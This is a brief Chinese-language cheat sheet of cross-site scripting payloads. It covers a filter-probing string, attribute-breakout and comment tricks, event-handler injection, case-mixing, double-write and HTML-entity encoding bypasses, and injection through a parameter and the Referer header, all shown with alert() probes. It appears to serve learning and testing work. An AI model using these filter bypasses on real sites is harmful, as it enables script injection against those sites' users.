万能检测语句 <SCRscriptIPT>’”()Oonnjavascript,通过它我们可以知道过滤了那些东西。
"><script>alert(123)</script>//
有value时,把value里的内容用">给闭合,再把后面的>用//给注释掉
如果被转义了,无法闭合,就在input标签内添加一个事件,可选比如说onclick,onfocus等,再去把前面的内容闭合掉,把后面的内容注释掉
标签法:"><a href="javascript:alert('abc')">//
大小写法:"><SCRIPT>alert(123)</SCRIPT>
双写绕过:<SCRscriptIPT>alert(/pig/)</SCRscriptIPT>
转为html编码来绕过:javascript:alert(123)
-->对"和:符号也进行转html编码处理:javascript:alert("http://")
把value值闭合,创建一个新的type值,再创建一个事件:t_sort="type="text"οnclick="alert(123)"
Referer值里进行修改:"type="text"οnclick="alert('abc')